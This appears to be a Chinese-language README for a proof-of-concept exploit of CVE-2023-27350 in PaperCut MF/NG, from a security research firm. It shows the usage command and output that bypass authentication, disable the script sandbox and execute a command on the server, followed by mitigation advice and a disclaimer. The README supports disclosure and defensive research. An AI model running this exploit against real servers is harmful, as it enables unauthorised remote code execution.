影响 PaperCut MF/NG 的 CVE-2023-27350 概念验证代码
关于漏洞的技术根本原因分析、入侵指标以及互联网暴露情况，可查阅我们的博客： https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise
该概念验证代码利用认证绕过漏洞，并结合滥用内置脚本功能来执行代码。
python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command calc.exe
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
更新至最新版本，或按照 PaperCut 安全公告中的说明进行缓解
本软件纯粹出于学术研究和开发有效防御技术的目的而创建，除非明确授权，否则不得用于攻击系统。项目维护者不对软件的滥用负责或承担法律责任。请负责任地使用。